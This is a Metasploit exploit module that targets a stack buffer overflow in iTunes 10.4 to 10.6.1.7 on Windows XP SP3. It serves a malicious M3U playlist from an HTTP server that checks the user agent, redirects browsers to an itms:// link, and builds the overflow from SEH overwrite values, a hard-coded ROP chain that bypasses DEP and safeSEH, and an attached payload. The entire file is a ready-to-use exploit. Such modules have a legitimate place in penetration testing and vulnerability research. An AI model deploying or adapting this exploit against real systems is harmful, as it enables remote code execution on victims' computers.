require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = GoodRanking
include Msf::Exploit::Remote::HttpServer::HTML
def initialize(info = {})
super(update_info(info,
'Name'=> 'iTunes Extended M3U Stack Buffer Overflow',
'Description' => %q{
This module exploits a stack buffer overflow in iTunes 10.4.0.80 to 10.6.1.7.
When opening an extended .m3u file containing an "#EXTINF:" tag description,
iTunes will copy the content after "#EXTINF:" without appropriate checking
from a heap buffer to a stack buffer and write beyond the stack buffers boundary.
This allows arbitrary code execution.
The Windows XP target has to have QuickTime 7.7.2 installed for this module
to work. It uses a ROP chain from a non safeSEH enabled DLL to bypass DEP and
safeSEH. The stack cookie check is bypassed by triggering a SEH exception.
},
'Author'=>
[
'Rh0 <rh0 [at] z1p.biz>'
],
'Version' => '0.0',
'DefaultOptions'=>
{
'EXITFUNC'=> 'process',
'InitialAutoRunScript' => 'migrate -f'
},
'Platform'=> ['win'],
'Payload' =>
{
'Space' => 1000,
'BadChars'=> "\x00\x0a\x0d",
'DisableNops' => true,
'PrependEncoder'=> "\x81\xc4\xfc\xfb\xff\xff"
},
'Targets' =>
[
['iTunes 10.4.0.80 to 10.6.1.7 with QuickTime 7.7.2 - Windows XP SP3 EN Professional',
{
'Platform'=> 'win',
'Arch'=> ARCH_X86,
'SEH' => 0x6693afab,
'ROP_NOP' => 0x66801044
}
]
],
'DefaultTarget' => 0
))
register_options(
[
OptPort.new('SRVPORT', [true, "The local port to listen on", 80]),
OptString.new('URIPATH', [false, "The URI to use for this exploit", "/"]),
],
self.class
)
end
def on_request_uri(cli,request)
return if ((p = regenerate_payload(cli).encoded) == nil)
host = request.headers['HOST']
agent = request.headers['USER-AGENT']
m3u_location = "itms://#{host}/#{rand_text_alphanumeric(8+rand(8))}.m3u"
if request.uri =~ /\.ico$/i
send_not_found(cli)
elsif agent =~ /iTunes/ and agent =~ /Windows XP Professional Service Pack 3/ and request.uri =~ /\.m3u$/i
send_response(cli, generate_m3u(p), { 'Content-Type' => 'audio/x-mpegurl' })
status(request,cli,"Sending playlist")
elsif agent =~ /MSIE (6|7|8)\.0/ and agent =~ /NT 5\.1/
send_response(cli, generate_redirect_ie(m3u_location), { 'Content-Type' => 'text/html' })
status(request,cli,"Redirecting to playlist")
elsif agent =~ /NT 5\.1/
send_redirect(cli, m3u_location)
status(request,cli,"Redirecting to playlist")
else
send_not_found(cli)
print_status("Unknown User-Agent. Sending 404")
end
end
def generate_redirect_ie(m3u_location)
ie_redir = <<-HTML_REDIR
<!DOCTYPE HTML>
<html>
<head>
<meta http-equiv="refresh" content="0; URL=#{m3u_location}">
</head>
</html>
HTML_REDIR
return ie_redir
end
def generate_m3u(payload)
target = targets[0]
m3u = '#EXTINF:,'
m3u << [target['SEH']].pack("V") * 0x6a
m3u << [target['ROP_NOP']].pack("V") * 30
m3u << gimme_rop
m3u << payload
m3u << rand_text_alphanumeric(0x1000 - m3u.length)
return m3u
end
def gimme_rop()
rop_chain = [
0x66c9a6c0,
0x66801044,
0x7c801ad4,
0x6697aa03,
junk,
0x6c1703e8,
0xffffffd6,
0x673650b0,
0x90909090,
0x66b7de1b,
0x66975c56,
0x6684b5c6
].pack("V*")
return rop_chain
end
def junk
return rand_text_alpha(4).unpack("L")[0].to_i
end
def status(req,cli,action)
print_status("Request for #{req.uri} from #{cli.peerhost}:#{cli.peerport}. #{action}")
end
end